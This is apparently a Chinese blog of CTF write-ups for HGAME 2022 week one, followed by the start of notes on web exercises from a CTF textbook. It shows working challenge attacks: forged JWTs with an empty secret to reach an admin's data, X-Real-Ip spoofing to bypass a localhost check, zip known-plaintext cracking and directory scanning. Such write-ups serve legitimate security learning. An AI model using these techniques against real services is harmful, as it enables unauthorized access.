        for k in range(l):
            if (s1[k].isupper()):
                if (not (s2[k].isupper())): cur = 0
            elif (s1[k].islower()):
                if (not (s2[k].islower())): cur = 0
            elif (s1[k] != s2[k]): cur = 0
            if (cur == 0): break
        if (cur == 1):
            for k in range(encrypted_len):
                if s1[k].isupper():
                    a[k][i] = (ord(s1[k]) - ord('A'), ord(s2[k]) - ord('A'))
                elif s1[k].islower():
                    a[k][i] = (ord(s1[k]) - ord('a'), ord(s2[k]) - ord('a'))
                else:
                    a[k][i] = (-1, -1)
            break
flag = ""
for i in range(encrypted_len):
    if (not encrypted[i].isupper() and not encrypted[i].islower()):
        flag += encrypted[i]
        continue
    for key in range(26):
        cur = 1
        for j in range(410):
            if (a[i][j][0] < 0): continue
            if ((a[i][j][0] + key) % 26 != a[i][j][1]):
                cur = 0
                break
        if (cur == 1):
            if (encrypted[i].isupper()):
                flag += chr(((ord(encrypted[i]) - ord('A') - key) % 26 + 26) % 26 + ord('A'))
            else:
                flag += chr(((ord(encrypted[i]) - ord('a') - key) % 26 + 26) % 26 + ord('a'))
            break
print(flag)
flag：hgame{D0_y0u_kn0w_'Kn0wn-pla1ntext_attack'?}
Iot
饭卡的uno
硬件啥也不会，但是把 .hex 文件扔进 IDA 能看见这个：
1
2
seg000:000005BE                 db  68h ; h
seg000:000005BF aGameF1rst5tep0 db 'game{F1rst_5tep_0F_IOT}',0
flag：hgame{F1rst_5tep_0F_IOT}
正解就等官方 wp 吧。。
MISC
欢迎欢迎！热烈欢迎！
送分题，照着题目做就行，flag 都没记录下来（
这个压缩包有点麻烦
下载下来的文件注释告诉我们 Pure numeric passwords within 6 digits are not safe!。
意思就是让我们爆破密码，用 fcrackzip 暴力破解出密码是 483279。
解压后里面给了我们一个字典文件 password-note.txt，有个 README.txt 提示 I don’t know if it’s a good idea to write down all the passwords.
然后发现 fcrackzip 的字典模式不能用，好像是把自己目录下的 README 当成字典了，也不会修，尝试编译了半天没成功，希望有大佬能教教我。
用 ARCHPR 跑字典后得到密码是 &-`;qpCKliw2yTR\。
解压后又有一个压缩包，提示 If you don’t like to spend time compressing files, just stores them.。
一开始以为这段话意思是没压缩藏在文件里了，尝试 binwalk，发现啥也没有。
仔细观察发现这段话刚好 68 字节，而压缩包里的 README.txt 原始大小也是 68 字节！更关键的是，CRC32 也相同！
于是考虑明文攻击。一开始试了好久一直不行，然后 SU 的师傅推荐了 rbkcrack，论工具的重要性（
1
./rbkcrack.exe -C flag.zip -P README.zip -a
拿到 keys： 060fd5e1 d1f696b7 12655d8d
再用 keys 去解压压缩包：
1
./rbkcrack.exe -C flag.zip -c flag.jpg -k 060fd5e1 d1f696b7 12655d8d -d flag.jpg
拿到 flag.jpg，但是还没结束，图片内容不是 flag，使用 binwalk 发现里面藏着一个压缩包，把压缩包提取出来。
发现加密了，但是又没提示了。。思考了半天，想到压缩包的考点也就这么几个，文件内容决定了显然不是 CRC 爆破，那么只能是伪加密了。
把压缩包的两个压缩源文件数据区和压缩源文件目录区的加密标识 09 00 改成 00 00 即可，拿到最终的 flag.jpg。
flag：hgame{W0w!_y0U_Kn0w_z1p_3ncrYpt!}
好康的流量
给了一个流量包，用 Wireshark 打开看看，发现是一次邮件过程，里面放了一个图片附件。
流量包看上去没啥东西，去把图片还原出来吧。
用 binwalk 扫到了一个 .zlib 文件出来，被误导了半天。后来想到 binwalk 只检测文件头，文件里可能有数据类似 zlib 文件头被错误地检测出来了。把前面的数据提取出来，果然发现图片失效了，排除附加文件的可能。
看来只能从文件本身入手了，用 PS 放大，发现图片左上角有一个类似条形码的东西，但是我啥也不会，就拿 PS 先加滤镜，使用锐化，参数怎么清楚怎么来，然后手绘，大概半夜画到凌晨 3:40，得到这么一张图：
还是老办法，先生成了 hgame{ 的二维码，发现前面对上了！但是扫出来是 hgame{ez_1mg_，好家伙只有一半，又没啥思路了。
去搜索了图片隐写的方式，尝试搜索原图来看是否存在数字水印，但是只找到了完整的图片，而这张只是那张图的稿子。但我知道了这张图是游戏王，牌佬出题人夹带私货属于是
没啥思路就拿眼睛瞪呗，用 PS 放大用取色器一个像素一个像素仔细观察，感觉最左边竖列颜色有问题，猜测也是有隐写，得知了 Stegsolve 这个工具，用它选择 RGB 的最低位，LSB，按竖列解析，获得这么一个文件：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
53746567346e3067 72617068797d5374  Steg4n0g raphy}St
6567346e30677261 7068797d53746567  eg4n0gra phy}Steg
346e306772617068 797d53746567346e  4n0graph y}Steg4n
306772617068797d 53746567346e3067  0graphy} Steg4n0g
72617068797d5374 6567346e30677261  raphy}St eg4n0gra
7068797d53746567 346e306772617068  phy}Steg 4n0graph
797d53746567346e 306772617068797d  y}Steg4n 0graphy}
53746567346e3067 72617068797d5374  Steg4n0g raphy}St
6567346e30677261 7068797d53746567  eg4n0gra phy}Steg
346e306772617068 797d53746567346e  4n0graph y}Steg4n
306772617068797d 53746567346e3067  0graphy} Steg4n0g
72617068797d5374 6567346e30677261  raphy}St eg4n0gra
7068797d53746567 346e306772617068  phy}Steg 4n0graph
797d53746567346e 306772617068797d  y}Steg4n 0graphy}
53746567346e3067 72617068797d5374  Steg4n0g raphy}St
6567346e30677261 7068797d53746567  eg4n0gra phy}Steg
346e306772617068 797d53746567346e  4n0graph y}Steg4n
306772617068797d 53746567346e3067  0graphy} Steg4n0g
72617068797d5374 6567346e30677261  raphy}St eg4n0gra
7068797d53746567 346e306772617068  phy}Steg 4n0graph
797d53746567346e 306772617068797d  y}Steg4n 0graphy}
53746567346e3067 72617068797d5374  Steg4n0g raphy}St
6567346e30677261 7068797d53746567  eg4n0gra phy}Steg
346e306772617068 797d53746567346e  4n0graph y}Steg4n
306772617068797d 53746567346e3067  0graphy} Steg4n0g
72617068797d5374 6567346e30677261  raphy}St eg4n0gra
7068797fffffffff fffffffffb24db6d  phy.... .....$.m
b6db6db6ac3fffff fffffe6052398800  ..m..?.. ...`R9..
0032967fffffffdb 6db6db6db6db6db6  .2..... m..m..m.
db6db6db6db6db6d b7e40096decf503f  .m..m..m ......P?
........
后面都是无意义乱码了，再与之前的到的前半部分拼接得到 flag：hgame{ez_1mg_Steg4n0graphy}
P.S. 也是得知这个工具后才知道左上角的条形码可以通过 Stegsolve 的通道来看，直接秒出，选择 Green Plane 2 即可。可恶，白画了 3 个多小时 PS，TAT！论工具的重要性。
群青(其实是幽灵东京）
下载下来的音频先试听一会，发现低音区好像被截了，绝对有隐写（废话）。
拿 Audacity 看看频谱，发现字符串 Yoasobi，但是不是 flag。
然后再用 Silenteye 对文件进行解密，使用 AES256，密钥就用频谱得到的字符串 Yoasobi。
解出来一个 URL：https://potat0-1308188104.cos.ap-shanghai.myqcloud.com/Week1/S_S_T_V.wav
下载下来是一个非常刺耳的音频，拿文件名去网上搜索得知还有 SSTV 这东西，介绍就自己去看百科吧。
P.S. 国际空间站也传 SSTV 格式的视频，大佬可以自制天线接收解析（
但这格式也太小众了，网上还没啥软件能解析的，一搜全是怎么编码的。我终于在中国业余无线电论坛上找到有人推荐了 Black Cat SSTV。
但是直接外放麦克风的环境噪声比较大，只能看见里面有个二维码，并不能识别出来，好巧不巧的是，“Decode Audio File…” 选项会导致程序崩溃（已邮件反馈 bug）。
只能使用虚拟设备了，安装 VBCABLE，然后 Sound Input 选择 CABL Output，播放音频即可。
就是不知道为什么是歪的，不过不影响结果
扫码出来 flag：hgame{1_c4n_5ee_the_wav}
P.S. 图片右边好像是异格斯卡蒂，看来 MISC 出题人成分复杂啊（
PWN
test_your_nc
PWN 啥也不会，就只会个 1 分的送分题。
连接以后直接 ls 发现有个 flag 文件，直接 cat 就行。
环境太卡了，flag 也忘记保存了。
REVERSE
easyasm
这个文件不一般啊，是 DOS 的可执行文件，直接以文本格式打开发现有个 hgame{Fill_in_your_flag}，但这个显然不是 flag。
把文件扔进 IDA 里去，直接反汇编发现不兼容 16 位的代码。只能自己看了，发现两个不认识的寄存器 AL 和 AH，搜了一下资料。
AL，AH 合并起来是 AX，其中，AX 是一个 16 位寄存器，AH 就是 AX 的高字节（高 8 位），AL 是 AX 的低字节（低 8 位）。
大致看了一下，代码是把读入的数据放到 AL，把 AL 左移 4 位存到一个地方，再把 AL 右移 4 位存到一个地方，再把它们相加的结果异或 0x17，再与一个数组的数据进行比较。
前面说到 AL 是一个八位的寄存器，所以前面的操作相当于是把 AL 的高 4 位和低 4 位对调之后再异或 0x17。
直接通过逆向得到的数组进行反推，代码如下：
1
2
3
4
5
6
7
8
9
10
11
#include 
int main() {
  int s[28] = {0x91, 0x61, 0x01, 0xC1, 0x41, 0xA0, 0x60, 0x41, 0xD1, 0x21,
               0x14, 0xC1, 0x41, 0xE2, 0x50, 0xE1, 0xE2, 0x54, 0x20, 0xC1,
               0xE2, 0x60, 0x14, 0x30, 0xD1, 0x51, 0xC0, 0x17};
  for (int i = 0; i < 28; i++) {
    s[i] = s[i] ^ 0x17;
    s[i] = (s[i] >> 4) + (s[i] << 4);
  }
  for (int i = 0; i < 28; i++) putchar(s[i]);
}
拿到 flag：hgame{welc0me_to_4sm_w0rld}
WEB
easy_auth
题目要我们拿到管理员的 to_do，先发现 admin 无法注册，得知管理员账号，然后注册了一个用户名是 2333，密码是 2333 的用户，登录后随便试了一会，了解一下 API。
一开始以为是什么 SQL 注入，但是毫无头绪，翻看 JS 的时候发现每次操作会传一个 token，而且格式非常特殊，就上午搜了一下，得知 JWT 这玩意。老规矩，不知道的请移步百科。还知道了一个好用的工具网站： https://jwt.io/
发现代码中会把这个 token 储存在 localStorage 里，就直接 localStorage.getItem('token'); 拿到 token（为了清晰一点，我按照 JWT 的格式分为 3 段）：
1
2
3
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJJRCI6MTU3OCwiVXNlck5hbWUiOiIyMzMzIiwiUGhvbmUiOiIiLCJFbWFpbCI6IiIsImV4cCI6MTY0Mjk5MzM0MiwiaXNzIjoiTUpjbG91ZHMifQ.
AMrgcCQaMfJwPE_g9KIqC2rPLXU6RVt6-xxv81H3bN4
用工具网站解析得到：
1
2
3
4
5
6
7
8
9
10
11
12
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "ID": 1578,
  "UserName": "2333",
  "Phone": "",
  "Email": "",
  "exp": 1642993342,
  "iss": "MJclouds"
}
网上搜索到方法有加密算法替换为 None 和密钥爆破，我直接对目标 API http://whatadminisdoingwhat.mjclouds.com/v1/todo/list 进行操作。
使用 ewogICJhbGciOiAiTm9uZSIKfQ.eyJJRCI6MCwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjk2NDI5MTM3OTIsImlzcyI6Ik1KY2xvdWRzIn0.
发现服务器不支持 None 算法：
1
2
3
4
5
{
    "code": 14005,
    "message": "signing method (alg) is unavailable.",
    "count": 0
}
而 Signature 那么长也爆破不了 secret。注意到有个 ID 字段，怀疑是根据 ID 查询密码作为密钥的，尝试注入。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6W10sIlVzZXJOYW1lIjoiYWRtaW4iLCJQaG9uZSI6IiIsIkVtYWlsIjoiIiwiZXhwIjo5NjQyOTEzNzkyLCJpc3MiOiJNSmNsb3VkcyJ9.
然后返回了这个：
1
2
3
4
5
{
    "code": 14005,
    "message": "json: cannot unmarshal array into Go struct field JWTClaims.ID of type uint",
    "count": 0
}
好了，现在我们得知后端是 Go 了，但是事实上并没有什么用。
P.S. 作者当时还去搜索了 Go 的 JWTClaims，发现确实有 CVE，但是这题里面毫无关系，反而思路被带偏了。
机缘巧合的是在我把 secret 置空以后发现生成的和最开始的那个居然一模一样，真是吐血，居然 secret 是空。这我一开始是真没想到。
然后我把 ID 改为 0，UserName 改为 admin，
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MCwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI5OTMwNTcsImlzcyI6Ik1KY2xvdWRzIn0.DFdaY3gfvJ-9g7bz9wDSWCIGqlROXKo-_O4l4gTvToQ
服务器返回：
1
2
3
4
5
{
    "code": 14005,
    "message": "大坏蛋别做坏事！！！",
    "count": 0
}
当时吓我一大跳，还以为又白做了。但我把我自己 token 的 ID 改了发现也是这个结果，才知道这个返回的意思是 ID 和 Username 不匹配。
于是把 ID 改成 1，
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI5OTMwNTcsImlzcyI6Ik1KY2xvdWRzIn0.HKmz9ithj9bnb6c2pKDGiHUSPxSR6b9x5gho5vTmyKc
服务器返回：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
    "code": 2000,
    "message": "success",
    "count": 1,
    "data": [
        {
            "ID": 1,
            "CreatedAt": "2022-01-18T21:58:53.457+08:00",
            "UpdatedAt": "2022-01-20T22:29:31.955+08:00",
            "DeletedAt": null,
            "todo_name": "hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}",
            "description": "some desc",
            "end_time": "2022-01-18T21:58:53+08:00",
            "status": 0,
            "user_id": 1
        }
    ]
}
拿到 flag：hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}
蛛蛛…嘿嘿♥我的蛛蛛
进去就让你点按钮，点了几次试了一下，后来受不了直接写了一个功能弱一点的脚本（按照题目来说就是让你写爬虫的）：
1
2
3
4
list = document.querySelectorAll('a');
list.forEach(x => {
    if (x.href != location.href) x.click();
});
在控制台不停执行就行，最后到了 https://hgame-spider.vidar.club/636defa854?key=MmhhqguSUpelDSTyNsBjinkUo458MpiGW72R6HiydqseM8lZ3zEn%2BQT0a7vs09NjqB9KtkAYWtKYf4HVifIN1A%3D%3D。
网页中间一个大大的标题 我好像在就是把flag落在这里了欸~ 快帮我找找x，联系到 URL 的 key，一开始怀疑这个 key 是加密的。
先 URL 解码得到 MmhhqguSUpelDSTyNsBjinkUo458MpiGW72R6HiydqseM8lZ3zEn+QT0a7vs09NjqB9KtkAYWtKYf4HVifIN1A==，一开始看着结尾的 == 以为是 Base64，然而失败了。
后来意识到可能不在这，在响应头里发现了 fi4g: hgame{202418360e93093582ff7358f3b3829d3f733935bef5686eeb568e9848b779c1}
拿到 flag：hgame{202418360e93093582ff7358f3b3829d3f733935bef5686eeb568e9848b779c1}
Tetris plus
打开网页，是个小游戏，题目描述说“据说没人能超过 3000 分”，着重寻找代码里和这个有关的。
首先我们要知道，作者一般不会自己去写这个小游戏的，所以小游戏的代码可以先不看。
然后我们找到了 js/checking.js，有这么一段代码：
1
2
3
4
5
if (score >= 3000 && !window.winned) {
    winned = true
    alert(atob("ZmxhZyDosozkvLzooqvol4/otbfmnaXkuobvvIzlho3mib7mib7lkKch"))
    // [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])()
}
执行一下那行 alert 再说，得到的是“flag 貌似被藏起来了，再找找吧!”。
然后发现下面那一长串可疑的注释，做 Hackergame 的经验告诉我，这是可以解码的，得到 alert("hgame{jsfuck_1s_S0_fUu1n}")，然后 flag 就出来了。。
flag：hgame{jsfuck_1s_S0_fUu1n}
P.S. 菜鸡作者这时候才知道 jsfuck 这玩意，以前只知道 BrainFuck。
Fujiwara Tofu Shop
每一层题目都给了提示，说实在的这和校内的比赛第一题简直一模一样。。
想成为车神，你需要先去一趟秋名山（qiumingshan.net）
这个 URL 是无法解析的，我们只需在请求头里加上 Referer: qiumingshan.net 即可。
只有借助AE86才能拿到车神通行证（Hachi-Roku）
借助一个东西？立马想到 User-Agent，在请求头里加上 User-Agent: Hachi-Roku 即可。
86的副驾上应该放一盒树莓（Raspberry）味的曲奇
曲奇？Cookie！但是发现直接 Cookie: Raspberry 不行，查看响应头发现 Set-Cookie: flavor=Strawberry，于是得到正确的格式 Cookie: flavor=Raspberry。
汽油都不加，还想去秋名山？请加满至100
同样是在响应头发现 Gasoline 字段，在请求头里加上 Gasoline: 100 即可。
哪怕成了车神，也得让请求从本地发出来才能拿到 flag ！
最有趣的地方来了，首先要知道 localhost 是 127.0.0.1 的别名。
然后常规思路是用 X-Forwarded-For，但是当我请求带上 X-Forwarded-For: 127.0.0.1，服务器返回“大黑阔也想当车神？”。啊，这熟悉的口音，令人难绷。然后一时没有办法了
这时候想起信息搜集，仔细观察响应头，发现 Server: gin-gonic/gin v1.7.7，仿佛找到了新大陆。
然后发现了这个 https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGINGONICGIN-1041736
欸，这可不就是和 X-Forwarded-For 有关吗？
再去 Github 上找是咋修的，然后发现了 X-Real-Ip 这个字段。请求头里加上 X-Real-Ip: 127.0.0.1 就拿到 flag 了。
拿到 flag：hgame{I_b0ught_4_S3xy_sw1mSu1t}
坐等晚上官方 wp。
To be continued…


《从0到1：CTFer成长之路》- Web
2022-01-08T07:10:08.000Z
前言
这里是我做《从0到1：CTFer成长之路》上的题的一些记录。
本篇是 Web 篇。
Web 入门
常见的搜集
打开靶机发现啥也没有。因此需要我们进行信息搜集。
使用 dirsearch 一共扫到了这些文件和目录（注意扫描的频次，过高会导致扫不出来）：
1
2
3
4
/index.php
/index.php~
/robots.txt
/.index.php.swp
先看一下 robots.txt，里面内容如下：
1
2
3
User-agent: *
Disallow:
/flag1_is_her3_fun.txt
访问 /flag1_is_her3_fun.txt，我们就能拿到 flag 的第一部分了。
接下来访问 /index.php~，拿到 flag 的第二部分。
最后把 /.index.php.swp 下载到本地，发现里面有这么一段代码：
1
 echo 'flag3:p0rtant_hack}';?> 
成功拿到 flag 第三部分，拼起来就是最终的 flag 了。
index.php 是常见的主页文件
index.php~ 是 gedit 编辑文件保存后的备份文件
.index.php.swp 是 vim 编辑文件后的缓存文件
robots.txt 告诉搜索引擎哪些文件希望让爬虫获取哪些不希望让它获取
粗心的小李
